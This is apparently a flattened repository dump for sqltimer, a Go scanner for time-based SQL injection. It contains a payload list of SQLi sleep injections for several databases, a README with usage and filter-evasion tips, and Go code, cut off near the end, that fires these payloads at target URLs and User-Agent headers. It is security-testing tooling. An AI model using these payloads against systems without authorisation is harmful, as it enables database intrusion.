├── .gitignore ├── go.mod ├── assets └── poc.gif ├── payloads.txt ├── README.md └── cmd └── sqltimer └── main.go /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/c1phy/sqltimer 2 | 3 | go 1.21 -------------------------------------------------------------------------------- /assets/poc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/c1phy/sqltimer/HEAD/assets/poc.gif -------------------------------------------------------------------------------- /payloads.txt: -------------------------------------------------------------------------------- 1 | 1') AND SLEEP({SLEEP}) AND ('1'='1 2 | (select*from(select(sleep({SLEEP})))a) 3 | (SELECT*SLEEP({SLEEP})) 4 | SLEEP({SLEEP}) 5 | 1337ANDSLEEP({SLEEP}) 6 | 'AND(CASEWHEN(SUBSTRING(version(),1,1)='P')THEN(SELECT4564FROMPG_SLEEP({SLEEP}))ELSE4564END)=4564-- 7 | ';WAITFORDELAY'00:00:{SLEEP}'-- 8 | ';IF(1=1)WAITFORDELAY'00:00:{SLEEP}'-- 9 | '||DBMS_PIPE.RECEIVE_MESSAGE('a',{SLEEP})-- 10 | 'XOR(IF(NOW()=SYSDATE(),SLEEP({SLEEP}),0))XOR'Z 11 | 'OR1=(SELECTCASEWHEN(1=1)THENPG_SLEEP({SLEEP})ELSENULLEND)-- -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # sqltimer 🕵️‍♂️ 3 | 4 | A fast, minimalistic scanner for **time-based SQL injection (SQLi)** detection – built in Go. 5 | 6 | --- 7 | 8 | ![Proof of Concept](./assets/poc.gif) 9 | 10 | --- 11 | 12 | ## ✨ Features 13 | 14 | ### 🛡️ Detection Engine 15 | 16 | * ⚡ **Time-based SQL Injection detection** via precise `sleep(n)` delta measurement. 17 | * 🧐 **Drift-tolerant detection** using `-negdrift` / `-posdrift` to handle real-world network jitter. 18 | * ❌ **False-positive control** with `-maxtime` to skip outliers. 19 | * 🚦 **Stop-at-first-match** with `-spm` to minimize redundant testing. 20 | 21 | ### 🧪 Payload Handling 22 | 23 | * 🎯 **Dynamic payloads** using `{SLEEP}` placeholders, automatically replaced at runtime. 24 | * 🌐 **Auto-encoding** for payloads with spaces unless `-encode` is explicitly set. 25 | * 📥 **Payload validation**: skips empty lines, comments (`#`), and lines without `{SLEEP}`. 26 | * 🔧 Debug output for ignored/auto-encoded payloads (line number, reason). 27 | 28 | ### 🌐 Request Customization 29 | 30 | * 🔁 Supports **GET** and **POST** methods with `-post` flag. 31 | * 👤 Custom **User-Agent** string via `-user-agent`. 32 | * 🎭 **User-Agent header injection** (`-add-ua`) to test payloads through headers. 33 | * 📂 Support for multiple **custom headers** with `-header "Key:Value"`. 34 | 35 | ### 🔗 Proxy & Replay 36 | 37 | * 🔗 Full **proxy support** with `-proxy`. 38 | * 🔁 **Replay proxy** for vulnerable findings only (`-replay-proxy`). 39 | * 🛠️ Modular replay engine supports full POST replay with correct content types and headers. 40 | 41 | ### 🧵 Performance & Control 42 | 43 | * 🧵 **Multi-threaded scanning** using `-threads` to control concurrency. 44 | * 💤 Adjustable **delay between requests** with `-delay`, applies to base and payloads. 45 | * ⏳ **Adaptive timeout** calculated using `sleep * timeoutmultiplier + timeoutbuffer`. 46 | 47 | ### 🧼 Output & UX 48 | 49 | * 🧹 **Clean mode** (`-clean`) to output only vulnerable URLs (ideal for piping). 50 | * 🔔 Integration with **ProjectDiscovery notify** for real-time alerts (`-notify`). 51 | * 🔧 **Color-coded debug logs** with detailed CLI feedback (`-debug`). 52 | * 📛 **Legend, banners, and prefixes** for clean, readable output. 53 | 54 | ### 📥 Input Validation 55 | 56 | * 🚫 Skips **invalid or malformed URLs** from stdin (with debug messages). 57 | * ✅ Ensures payloads in file are syntactically valid and informative when skipped. 58 | 59 | --- 60 | 61 | ## 📦 Installation 62 | 63 | Requires **Go 1.18+** 64 | 65 | ```bash 66 | go install github.com/c1phy/sqltimer/cmd/sqltimer@latest 67 | ``` 68 | 69 | The binary `sqltimer` will be available in your `$GOBIN` directory. 70 | 71 | --- 72 | 73 | ## 🚀 Quick Start 74 | 75 | ### 1. Prepare a list of target URLs 76 | 77 | Each URL must contain at least one GET parameter: 78 | 79 | ```txt 80 | https://target.com/page?id=1 81 | https://site.org/search?q=test 82 | ``` 83 | 84 | Save as `urls.txt`. 85 | 86 | --- 87 | 88 | ### 2. Create your payloads (with `{SLEEP}` placeholder) 89 | 90 | ```txt 91 | (select*from(select(sleep({SLEEP}))a) 92 | ' OR sleep({SLEEP}) -- 93 | 1') AND SLEEP({SLEEP}) AND ('1'='1 94 | " OR sleep({SLEEP})) -- 95 | ``` 96 | 97 | Save as `payloads.txt`. 98 | 99 | > `{SLEEP}` will be replaced dynamically based on the `-sleep` parameter, e.g., `sleep(10)` 100 | 101 | --- 102 | 103 | ### 3. Run the scan 104 | 105 | ```bash 106 | cat urls.txt | sqltimer -payloads payloads.txt -sleep 10 -threads 20 -encode -notify 107 | ``` 108 | 109 | --- 110 | 111 | ## 📁 Example Directory Structure 112 | 113 | ``` 114 | sqltimer/ 115 | ├── payloads.txt 116 | ├── urls.txt 117 | └── sqltimer (binary from go install or build) 118 | ``` 119 | 120 | --- 121 | 122 | ## ✅ Example Output 123 | 124 | ```bash 125 | 🔥 SQLi suspicion in param 'q' with payload '(select*from(select(sleep(10)))a)' → https://example.com/search?q=test (Δ=10.2s ≈ 1x sleep ±0.1s/0.5s) 126 | ``` 127 | 128 | --- 129 | 130 | ## 🛠 Options 131 | 132 | | Flag | Description | Default | 133 | |-------------------------|----------------------------------------------------------------|--------------| 134 | | **General Options** | | | 135 | | `-payloads` | Path to payload list (required) | – | 136 | | `-version` | Show current sqltimer version and exit | `false` | 137 | | **Scan & Timing** | | | 138 | | `-sleep` | Sleep duration injected in payloads (in seconds) | `10` | 139 | | `-negdrift` | Allowed negative timing drift from expected sleep | `0.1` | 140 | | `-posdrift` | Allowed positive timing drift from expected sleep | `0.5` | 141 | | `-maxtime` | Maximum allowed delta time before a response is skipped | `30.0` | 142 | | `-timeoutmultiplier` | Multiplier to calculate HTTP timeout based on sleep time | `6` | 143 | | `-timeoutbuffer` | Additional seconds added to calculated timeout | `10` | 144 | | `-threads` | Number of concurrent scan workers | `10` | 145 | | `-delay` | Delay between individual HTTP requests (in seconds) | `0` | 146 | | `-spm` | Stop scanning after the first matching payload per URL | `false` | 147 | | `-add-ua` | Also inject payloads via the `User-Agent` header | `false` | 148 | | **Request & Proxy** | | | 149 | | `-proxy` | Send all traffic through the specified HTTP proxy | – | 150 | | `-replay-proxy` | Replay only detected hits through proxy for deeper inspection | – | 151 | | `-user-agent` | Custom User-Agent string | Firefox 124 | 152 | | `-header` | Add custom header (`Key:Value`). Can be used multiple times | – | 153 | | `-post` | Use POST method for payload delivery (default is GET) | `false` | 154 | | `-encode` | Fully URL-encode payloads before injection | `false` | 155 | | **Output & Debug** | | | 156 | | `-notify` | Send hits to [notify](https://github.com/projectdiscovery/notify) | `false` | 157 | | `-debug` | Enable detailed debug output with timing and decisions | `false` | 158 | | `-nocolor` | Disable color-coded terminal output | `false` | 159 | | `-clean` | Output only vulnerable URLs (good for tool chaining) | `false` | 160 | 161 | --- 162 | 163 | ## 🎯 How Drift Works (`-negdrift` and `-posdrift`) 164 | 165 | The `-negdrift` and `-posdrift` options define how much timing deviation is tolerated when matching the sleep time against the server's real delay. 166 | 167 | ### ✍️ Example 168 | 169 | - `-sleep 2` 170 | - `-negdrift 0.1` 171 | - `-posdrift 0.5` 172 | 173 | ### 📊 Drift Detection Table 174 | 175 | | Expected Sleep | Match Range | Observed Delta | Detected? | Reason | 176 | |----------------|----------------|----------------|-----------|---------------------------------| 177 | | 2×1 (2s) | 1.9s - 2.5s | 2.3s | ✅ | within 1x sleep window | 178 | | 2×2 (4s) | 3.9s - 4.5s | 3.9s | ✅ | within 2x sleep window | 179 | | 2×2 (4s) | 3.9s - 4.5s | 4.3s | ✅ | within 2x sleep window | 180 | | 2×3 (6s) | 5.9s - 6.5s | 5.7s | ❌ | too far off, not matching | 181 | | 2×3 (6s) | 5.9s - 6.5s | 6.4s | ✅ | within 3x sleep window | 182 | | 2×4 (8s) | 7.9s - 8.5s | 7.5s | ❌ | too far off, not matching | 183 | 184 | --- 185 | 186 | ## ⏳ How HTTP Timeout Works 187 | 188 | Sqltimer dynamically sets the HTTP client timeout based on your `-sleep` parameter: 189 | 190 | ``` 191 | timeout = (sleep × timeoutmultiplier) + timeoutbuffer 192 | ``` 193 | 194 | Example: 195 | - `-sleep 2` 196 | - `-timeoutmultiplier 6` 197 | - `-timeoutbuffer 10` 198 | 199 | Resulting Timeout: 200 | ```bash 201 | (2 × 6) + 10 = 22 seconds 202 | ``` 203 | 204 | This ensures slow SQLi payloads are not cut off prematurely but keeps the scanner responsive. 205 | 206 | --- 207 | 208 | ## 🔔 Integration with `notify` (optional) 209 | 210 | Install [`notify`](https://github.com/projectdiscovery/notify): 211 | 212 | ```bash 213 | go install github.com/projectdiscovery/notify/cmd/notify@latest 214 | ``` 215 | 216 | Configure it (Slack, Discord, Telegram) via `~/.config/notify/provider-config.yaml`. 217 | 218 | Then simply use: 219 | 220 | ```bash 221 | cat urls.txt | sqltimer -payloads payloads.txt -notify 222 | ``` 223 | 224 | All matches will be piped into your `notify` pipeline automatically. 225 | 226 | --- 227 | 228 | ## ❤️ Usage Tips 229 | 230 | ### 🎯 Detection Accuracy 231 | 232 | * Use a higher `-sleep` value (e.g., `10`) for more reliable detection. 233 | * For stable networks, keep default drift settings: `-negdrift 0.1` and `-posdrift 0.5`. 234 | * In noisy environments (e.g., cloud targets), increase `-posdrift` slightly (e.g., `0.6`) to reduce false negatives. 235 | * Use `-debug` to trace timing behavior and fine-tune drift or delays. 236 | 237 | ### 🧪 Payload Strategies 238 | 239 | * Enable `-add-ua` to test payloads in the **User-Agent** header. 240 | * Switch to `-post` if GET-based payloads are filtered or blocked by the server. 241 | * Use `-spm` (stop-after-match) to reduce noise and scan faster by skipping further payloads once a hit is found. 242 | 243 | ### 🔗 Integration & Automation 244 | 245 | * Pipe input from tools like [`waybackurls`](https://github.com/tomnomnom/waybackurls), [`gau`](https://github.com/lc/gau), or [`ffuf`](https://github.com/ffuf/ffuf). 246 | * Combine with `-clean` for chaining into other tools: 247 | 248 | ```bash 249 | sqltimer ... -clean | awk '{print $1}' 250 | ``` 251 | 252 | ### 🌐 Proxy & Replay 253 | 254 | * Use `-proxy` to send **all** traffic through a proxy (e.g., Burp/ZAP). 255 | * Use `-replay-proxy` to send only detected **vulnerable requests** through a secondary proxy for logging, inspection, or exploitation. 256 | * If both are specified, `-proxy` takes precedence and is used for all traffic. 257 | 258 | ### ⚙️ Customization 259 | 260 | * Set a custom `-user-agent` to blend in or bypass basic filters. 261 | * Use `-header "Key:Value"` one or more times to add arbitrary HTTP headers (e.g., auth tokens, X-Forwarded-For). 262 | * Use `-delay` to slow down scanning for unstable targets or rate-limited endpoints (e.g., `-delay 2`). 263 | 264 | --- 265 | 266 | ## 🪪 License 267 | 268 | MIT License – use it, improve it, share it. 269 | 270 | --- 271 | 272 | ## ⚠️ Disclaimer 273 | 274 | This tool is provided for educational and authorized security testing purposes only. 275 | Do **not** use it on systems without explicit permission. 276 | The author assumes **no responsibility** for any misuse or damage caused by this tool. 277 | 278 | --- 279 | 280 | ## 🙋 About the Author 281 | 282 | Marc-Oliver Munz – [munz4u.de](https://munz4u.de) 283 | 284 | - 🌐 Website: [https://munz4u.de](https://munz4u.de) 285 | - 🐦 Twitter/X: [@marcolivermunz](https://x.com/marcolivermunz) 286 | - 🌀 Bluesky: [@munz4u.de](https://bsky.app/profile/munz4u.de) 287 | - 💼 LinkedIn: [linkedin.com/in/marc-oliver-munz](https://www.linkedin.com/in/marc-oliver-munz/) 288 | 289 | Feel free to connect, contribute, or give feedback! 290 | -------------------------------------------------------------------------------- /cmd/sqltimer/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "flag" 7 | "fmt" 8 | "io" 9 | "net" 10 | "net/http" 11 | "net/url" 12 | "os" 13 | "os/exec" 14 | "strings" 15 | "sync" 16 | "time" 17 | ) 18 | 19 | var ( 20 | sleepTime = 10 21 | negDrift = 0.1 22 | posDrift = 0.5 23 | timeoutMultiplier = 6 24 | timeoutBuffer = 10 25 | maxWorkers = 10 26 | notify = false 27 | doDebug = false 28 | noColor = false 29 | cleanOutput = false 30 | shouldEncode = false 31 | usePost = false 32 | 33 | delaySeconds float64 34 | 35 | customHeaders headerList 36 | 37 | stopAtFirstMatch bool 38 | useUserAgentPayload bool 39 | 40 | payloadsFile string 41 | proxyURL string 42 | replayProxyURL string 43 | userAgent string 44 | payloads []string 45 | preparedPayloads []string 46 | version = "v0.4.4" 47 | maxResponseTime = 30.0 48 | 49 | client *http.Client 50 | replayClient *http.Client 51 | 52 | colorReset = "\033[0m" 53 | colorRed = "\033[31m" 54 | colorGreen = "\033[32m" 55 | colorYellow = "\033[33m" 56 | colorBlue = "\033[34m" 57 | colorMagenta = "\033[35m" 58 | colorCyan = "\033[36m" 59 | colorWhite = "\033[37m" 60 | colorGray = "\033[90m" 61 | 62 | prefixSet = colorBlue + "[SET]" + colorReset 63 | prefixInp = colorWhite + "[INP]" + colorReset 64 | prefixIni = colorYellow + "[INI]" + colorReset 65 | prefixTst = colorMagenta + "[TST]" + colorReset 66 | prefixPay = colorCyan + "[PAY]" + colorReset 67 | prefixWrn = colorRed + "[WRN]" + colorReset 68 | prefixSlp = colorGray + "[SLP]" + colorReset 69 | ) 70 | 71 | const maxRepeats = 10 72 | 73 | type headerList []string 74 | 75 | func (h *headerList) String() string { 76 | return fmt.Sprint(*h) 77 | } 78 | 79 | func (h *headerList) Set(value string) error { 80 | if strings.IndexByte(value, ':') < 0 { 81 | return fmt.Errorf("%s invalid header format: must be Key:Value%s", colorRed, colorReset) 82 | } 83 | *h = append(*h, value) 84 | return nil 85 | } 86 | 87 | type job struct { 88 | url string 89 | } 90 | 91 | type recordedRequest struct { 92 | Request *http.Request 93 | Body string 94 | } 95 | 96 | func printLegend() { 97 | fmt.Println() 98 | fmt.Println("Legend (Prefixes):") 99 | fmt.Printf(" %s [SET]%s = Setting / Configuration Info\n", colorBlue, colorReset) 100 | fmt.Printf(" %s [INP]%s = Input URL received\n", colorWhite, colorReset) 101 | fmt.Printf(" %s [INI]%s = Initialization / Base request timing\n", colorYellow, colorReset) 102 | fmt.Printf(" %s [TST]%s = Test result (delta timing)\n", colorMagenta, colorReset) 103 | fmt.Printf(" %s [PAY]%s = Sending a payload\n", colorCyan, colorReset) 104 | fmt.Printf(" %s [SLP]%s = Sleeping (delay between requests)\n", colorGray, colorReset) 105 | fmt.Printf(" %s [WRN]%s = Warning (errors, issues)\n", colorRed, colorReset) 106 | fmt.Println() 107 | } 108 | 109 | func printBanner() { 110 | method := getMethod() 111 | 112 | if noColor { 113 | fmt.Fprintf(os.Stderr, "🚀 sqltimer %s | sleep=%d | drift=±%.1f/%.1f | maxtime=%.1fs | delay=%.1fs | method=%s\n", 114 | version, sleepTime, negDrift, posDrift, maxResponseTime, delaySeconds, method) 115 | } else { 116 | fmt.Fprintf(os.Stderr, "%s🚀 sqltimer %s%s | sleep=%s%d%s | drift=±%s%.1f/%.1f%s | maxtime=%s%.1fs%s | delay=%s%.1fs%s | method=%s%s%s\n", 117 | colorCyan, version, colorReset, 118 | colorYellow, sleepTime, colorReset, 119 | colorCyan, negDrift, posDrift, colorReset, 120 | colorMagenta, maxResponseTime, colorReset, 121 | colorBlue, delaySeconds, colorReset, 122 | colorGreen, method, colorReset) 123 | } 124 | } 125 | 126 | func disableColors() { 127 | colorReset = "" 128 | colorRed = "" 129 | colorGreen = "" 130 | colorYellow = "" 131 | colorBlue = "" 132 | colorMagenta = "" 133 | colorCyan = "" 134 | colorWhite = "" 135 | 136 | prefixSet = "[SET]" 137 | prefixInp = "[INP]" 138 | prefixIni = "[INI]" 139 | prefixTst = "[TST]" 140 | prefixWrn = "[WRN]" 141 | prefixPay = "[PAY]" 142 | prefixSlp = "[SLP]" 143 | } 144 | 145 | func colorize(s, color string) string { 146 | if noColor { 147 | return s 148 | } 149 | return color + s + colorReset 150 | } 151 | 152 | func getMethod() string { 153 | if usePost { 154 | return "POST" 155 | } 156 | return "GET" 157 | } 158 | 159 | func (h *headerList) ApplyTo(req *http.Request) { 160 | for _, hdr := range *h { 161 | name, value, ok := strings.Cut(hdr, ":") 162 | if !ok { 163 | continue 164 | } 165 | req.Header.Set(strings.TrimSpace(name), strings.TrimSpace(value)) 166 | } 167 | } 168 | 169 | func buildInjectedURL(rawURL, param, payload string) (string, error) { 170 | u, err := url.Parse(rawURL) 171 | if err != nil { 172 | return "", err 173 | } 174 | params := u.Query() 175 | if _, ok := params[param]; !ok { 176 | return "", nil 177 | } 178 | params.Set(param, payload) 179 | var rawQuery []string 180 | for k, v := range params { 181 | rawQuery = append(rawQuery, fmt.Sprintf("%s=%s", k, v[0])) 182 | } 183 | u.RawQuery = strings.Join(rawQuery, "&") 184 | return u.String(), nil 185 | } 186 | 187 | func measureResponse(u string) (float64, error) { 188 | req, err := http.NewRequest("GET", u, nil) 189 | if err != nil { 190 | return 0, err 191 | } 192 | req.Header.Set("User-Agent", userAgent) 193 | customHeaders.ApplyTo(req) 194 | start := time.Now() 195 | resp, err := client.Do(req) 196 | if err != nil { 197 | return 0, err 198 | } 199 | defer resp.Body.Close() 200 | return time.Since(start).Seconds(), nil 201 | } 202 | 203 | func truncate(s string, max int) string { 204 | if len(s) <= max { 205 | return s 206 | } 207 | return s[:max] + "..." 208 | } 209 | 210 | func notifyUser(msg string) { 211 | if notify { 212 | _, err := exec.LookPath("notify") 213 | if err != nil { 214 | fmt.Fprintf(os.Stderr, "%s 'notify' binary not found\n", prefixWrn) 215 | return 216 | } 217 | cmd := exec.Command("notify") 218 | cmd.Stdin = strings.NewReader(msg) 219 | 220 | if doDebug { 221 | fmt.Printf("%s %sNotify sent:%s %s\n", prefixSet, colorYellow, colorReset, colorize(truncate(msg, 80), colorGray)) 222 | } 223 | 224 | err = cmd.Run() 225 | if err != nil { 226 | fmt.Fprintf(os.Stderr, "%s Error calling notify: %v\n", prefixWrn, err) 227 | } 228 | } 229 | } 230 | 231 | func sendRequest(targetURL, param, payload string) (float64, *recordedRequest, error) { 232 | var req *http.Request 233 | var err error 234 | var bodyData string 235 | 236 | if usePost { 237 | if shouldEncode { 238 | bodyData = param + "=" + payload 239 | } else { 240 | data := url.Values{} 241 | data.Set(param, payload) 242 | bodyData = data.Encode() 243 | } 244 | req, err = http.NewRequest("POST", targetURL, strings.NewReader(bodyData)) 245 | if err != nil { 246 | return 0, nil, err 247 | } 248 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 249 | } else { 250 | req, err = http.NewRequest("GET", targetURL, nil) 251 | if err != nil { 252 | return 0, nil, err 253 | } 254 | } 255 | 256 | req.Header.Set("User-Agent", userAgent) 257 | customHeaders.ApplyTo(req) 258 | 259 | start := time.Now() 260 | resp, err := client.Do(req) 261 | if err != nil { 262 | return 0, nil, err 263 | } 264 | defer resp.Body.Close() 265 | 266 | duration := time.Since(start).Seconds() 267 | return duration, &recordedRequest{Request: req, Body: bodyData}, nil 268 | } 269 | 270 | func doReplayFromRequest(r *recordedRequest) { 271 | if replayProxyURL == "" || replayClient == nil || r == nil || r.Request == nil { 272 | return 273 | } 274 | 275 | clone := r.Request.Clone(context.Background()) 276 | if r.Body != "" { 277 | clone.Body = io.NopCloser(strings.NewReader(r.Body)) 278 | } 279 | 280 | if doDebug { 281 | fmt.Printf("%s Sending replay via proxy %s%s%s to: %s%s%s\n", 282 | prefixSet, 283 | colorYellow, replayProxyURL, colorReset, 284 | colorBlue, r.Request.URL.String(), colorReset) 285 | } 286 | 287 | resp, err := replayClient.Do(clone) 288 | if err != nil { 289 | if doDebug { 290 | fmt.Printf("%s Replay failed: %v\n", prefixSet, err) 291 | } 292 | return 293 | } 294 | defer resp.Body.Close() 295 | io.Copy(io.Discard, resp.Body) 296 | 297 | if doDebug { 298 | fmt.Printf("%s Replay request succeeded: %s%s%s\n", prefixSet, colorYellow, r.Request.URL.String(), colorReset) 299 | } 300 | } 301 | 302 | func reportFinding(url, param, payload string, delta float64, repeat int, uaMode bool) { 303 | method := getMethod() 304 | 305 | var fullMessage string 306 | contextInfo := fmt.Sprintf( 307 | "via User-Agent%s with payload %s'%s'%s", 308 | colorReset, colorMagenta, payload, colorReset, 309 | ) 310 | 311 | if !uaMode { 312 | contextInfo = fmt.Sprintf( 313 | "in param %s'%s'%s with payload %s'%s'%s", 314 | colorCyan, param, colorReset, 315 | colorMagenta, payload, colorReset, 316 | ) 317 | } 318 | 319 | fullMessage = fmt.Sprintf( 320 | "%s🔥 SQLi suspicion %s → %s%s%s → (%sΔ=%.2fs%s ≈ %s%dx sleep%s ±%s%.1fs/%.1fs%s | method=%s%s%s)", 321 | colorRed, contextInfo, 322 | colorWhite, url, colorReset, 323 | colorCyan, delta, colorReset, 324 | colorMagenta, repeat, colorReset, 325 | colorCyan, negDrift, posDrift, colorReset, 326 | colorGreen, method, colorReset, 327 | ) 328 | 329 | if cleanOutput { 330 | if uaMode { 331 | fmt.Printf("%s [param:user-agent] [method:%s] [payload:%s]\n", url, method, payload) 332 | } else { 333 | fmt.Printf("%s [param:%s] [method:%s] [payload:%s]\n", url, param, method, payload) 334 | } 335 | } else { 336 | fmt.Println(fullMessage) 337 | } 338 | 339 | if notify { 340 | notifyUser(fullMessage) 341 | } 342 | } 343 | 344 | func worker(jobs <-chan job, wg *sync.WaitGroup, mu *sync.Mutex, seen map[string]bool, ticker *time.Ticker) { 345 | defer wg.Done() 346 | for j := range jobs { 347 | u, err := url.Parse(j.url) 348 | if err != nil { 349 | continue 350 | } 351 | base := u.Scheme + "://" + u.Host + u.Path 352 | 353 | var baseTime float64 354 | params := u.Query() 355 | if len(params) == 0 && !useUserAgentPayload { 356 | if doDebug { 357 | fmt.Printf("%s %sSkipping URL (no params, no add-ua):%s %s%s%s\n", prefixWrn, colorGray, colorReset, colorYellow, j.url, colorReset) 358 | } 359 | continue 360 | } 361 | 362 | if delaySeconds > 0 && ticker != nil { 363 | if doDebug { 364 | fmt.Printf("%s %s\n", prefixSlp, colorize(fmt.Sprintf("Delay %.1fs before base request to %s", delaySeconds, u.Host), colorGray)) 365 | } 366 | <-ticker.C 367 | } 368 | 369 | mu.Lock() 370 | if seen[base] { 371 | mu.Unlock() 372 | continue 373 | } 374 | mu.Unlock() 375 | 376 | baseTime, err = measureResponse(j.url) 377 | if err != nil { 378 | continue 379 | } 380 | 381 | if doDebug { 382 | fmt.Printf("%s Base response time measured: %s%.2fs%s for %s%s%s\n", prefixIni, colorCyan, baseTime, colorReset, colorYellow, j.url, colorReset) 383 | } 384 | 385 | found := false 386 | 387 | for param := range params { 388 | for _, payload := range preparedPayloads { 389 | injURL, err := buildInjectedURL(j.url, param, payload) 390 | if err != nil || injURL == "" { 391 | continue 392 | } 393 | 394 | if delaySeconds > 0 && ticker != nil { 395 | if doDebug { 396 | fmt.Printf("%s %s\n", prefixSlp, colorize(fmt.Sprintf("Delay %.1fs before payload injection: param=%s payload=%s", delaySeconds, param, payload), colorGray)) 397 | } 398 | <-ticker.C 399 | } 400 | 401 | if doDebug { 402 | fmt.Printf("%s Sending payload request: param=%s%s%s url=%s%s%s\n", prefixPay, colorMagenta, param, colorReset, colorYellow, injURL, colorReset) 403 | } 404 | 405 | injTime, recorded, err := sendRequest(injURL, param, payload) 406 | if err != nil { 407 | continue 408 | } 409 | 410 | delta := injTime - baseTime 411 | if doDebug { 412 | fmt.Printf("%s Payload delta: %sΔ=%.2fs%s param=%s%s%s url=%s%s%s\n", prefixTst, colorCyan, delta, colorReset, colorMagenta, param, colorReset, colorYellow, injURL, colorReset) 413 | } 414 | 415 | if delta > maxResponseTime { 416 | continue 417 | } 418 | 419 | for i := 1; i <= maxRepeats; i++ { 420 | expected := float64(sleepTime) * float64(i) 421 | if delta >= expected-negDrift && delta <= expected+posDrift { 422 | doReplayFromRequest(recorded) 423 | reportFinding(injURL, param, payload, delta, i, false) 424 | mu.Lock() 425 | seen[base] = true 426 | mu.Unlock() 427 | found = true 428 | 429 | if stopAtFirstMatch { 430 | if doDebug { 431 | fmt.Printf("%s Stopping after first successful payload (param=%s%s%s) due to %s-spm%s\n", prefixSet, colorMagenta, param, colorReset, colorYellow, colorReset) 432 | } 433 | goto endPayloads 434 | } 435 | break 436 | } 437 | } 438 | } 439 | } 440 | 441 | if useUserAgentPayload { 442 | if stopAtFirstMatch && found { 443 | if doDebug { 444 | fmt.Printf("%s Skipping User-Agent payloads due to %s-spm%s (already matched)\n", prefixSet, colorYellow, colorReset) 445 | } 446 | goto endPayloads 447 | } 448 | 449 | for _, payload := range preparedPayloads { 450 | modUserAgent := strings.TrimSpace(userAgent) + " " + payload 451 | 452 | var req *http.Request 453 | var bodyData string 454 | param := "id" 455 | for p := range u.Query() { 456 | param = p 457 | break 458 | } 459 | 460 | if usePost { 461 | data := url.Values{} 462 | data.Set(param, payload) 463 | bodyData = data.Encode() 464 | req, err = http.NewRequest("POST", j.url, strings.NewReader(bodyData)) 465 | if err == nil { 466 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 467 | } 468 | } else { 469 | req, err = http.NewRequest("GET", j.url, nil) 470 | } 471 | if err != nil { 472 | continue 473 | } 474 | 475 | req.Header.Set("User-Agent", modUserAgent) 476 | customHeaders.ApplyTo(req) 477 | 478 | if doDebug { 479 | fmt.Printf("%s Testing payload in User-Agent header: %s%s%s\n", prefixPay, colorMagenta, payload, colorReset) 480 | } 481 | 482 | if delaySeconds > 0 && ticker != nil { 483 | if doDebug { 484 | fmt.Printf("%s %s\n", prefixSlp, colorize(fmt.Sprintf("Delay %.1fs before UA payload injection: payload=%s", delaySeconds, payload), colorGray)) 485 | } 486 | <-ticker.C 487 | } 488 | 489 | start := time.Now() 490 | resp, err := client.Do(req) 491 | if err != nil { 492 | continue 493 | } 494 | resp.Body.Close() 495 | 496 | delta := time.Since(start).Seconds() - baseTime 497 | if doDebug { 498 | fmt.Printf("%s UA-Payload delta: %sΔ=%.2fs%s user-agent='%s'\n", prefixTst, colorCyan, delta, colorReset, modUserAgent) 499 | } 500 | 501 | for i := 1; i <= maxRepeats; i++ { 502 | expected := float64(sleepTime) * float64(i) 503 | if delta >= expected-negDrift && delta <= expected+posDrift { 504 | recorded := &recordedRequest{ 505 | Request: req, 506 | Body: bodyData, 507 | } 508 | doReplayFromRequest(recorded) 509 | reportFinding(j.url, "user-agent", payload, delta, i, true) 510 | mu.Lock() 511 | seen[base] = true 512 | mu.Unlock() 513 | found = true 514 | 515 | if stopAtFirstMatch { 516 | if doDebug { 517 | fmt.Printf("%s Stopping after first successful UA payload due to %s-spm%s\n", prefixSet, colorYellow, colorReset) 518 | } 519 | goto endPayloads 520 | } 521 | break 522 | } 523 | } 524 | } 525 | } 526 | endPayloads: 527 | } 528 | } 529 | 530 | func loadPayloads(file string) ([]string, error) { 531 | var lines []string 532 | f, err := os.Open(file) 533 | if err != nil { 534 | return lines, err 535 | } 536 | defer f.Close() 537 | 538 | scanner := bufio.NewScanner(f) 539 | lineNumber := 0 540 | ignored := 0 541 | total := 0 542 | 543 | for scanner.Scan() { 544 | lineNumber++ 545 | total++ 546 | line := strings.TrimSpace(scanner.Text()) 547 | 548 | switch { 549 | case line == "": 550 | if doDebug { 551 | fmt.Fprintf(os.Stderr, "%s %sIgnoring empty line [%d]%s\n", prefixWrn, colorGray, lineNumber, colorReset) 552 | } 553 | ignored++ 554 | continue 555 | case strings.HasPrefix(line, "#"): 556 | if doDebug { 557 | fmt.Fprintf(os.Stderr, "%s %sIgnoring comment line [%d]:%s %s\n", prefixWrn, colorGray, lineNumber, colorReset, line) 558 | } 559 | ignored++ 560 | continue 561 | case !strings.Contains(line, "{SLEEP}"): 562 | if doDebug { 563 | fmt.Fprintf(os.Stderr, "%s %sIgnoring line without {SLEEP} [%d]:%s %s\n", prefixWrn, colorGray, lineNumber, colorReset, line) 564 | } 565 | ignored++ 566 | continue 567 | default: 568 | lines = append(lines, line) 569 | } 570 | } 571 | 572 | if doDebug { 573 | fmt.Fprintf(os.Stderr, "%s Loaded %s%d%s payload(s), %s%d%s ignored from %s%d%s total lines\n", 574 | prefixSet, 575 | colorGreen, len(lines), colorReset, 576 | colorRed, ignored, colorReset, 577 | colorCyan, total, colorReset, 578 | ) 579 | } 580 | 581 | return lines, scanner.Err() 582 | } 583 | 584 | func preparePayloads() []string { 585 | var prepared []string 586 | for _, payload := range payloads { 587 | if !strings.Contains(payload, "{SLEEP}") { 588 | continue 589 | } 590 | 591 | original := strings.ReplaceAll(payload, "{SLEEP}", fmt.Sprintf("%d", sleepTime)) 592 | injection := original 593 | 594 | if shouldEncode { 595 | injection = url.QueryEscape(injection) 596 | } else if strings.Contains(injection, " ") { 597 | encoded := url.QueryEscape(injection) 598 | if doDebug { 599 | fmt.Fprintf(os.Stderr, "%s %s\n", prefixWrn, 600 | colorize(fmt.Sprintf("Auto-encoding payload due to space: %s → %s", 601 | colorize(original, colorMagenta), 602 | colorize(encoded, colorCyan), 603 | ), colorGray)) 604 | } 605 | injection = encoded 606 | } 607 | 608 | prepared = append(prepared, injection) 609 | } 610 | return prepared 611 | } 612 | 613 | func setupHTTPClient() { 614 | timeout := time.Duration((sleepTime*timeoutMultiplier)+timeoutBuffer) * time.Second 615 | 616 | transport := &http.Transport{} 617 | if proxyURL != "" { 618 | parsedProxy, err := url.Parse(proxyURL) 619 | if err != nil { 620 | 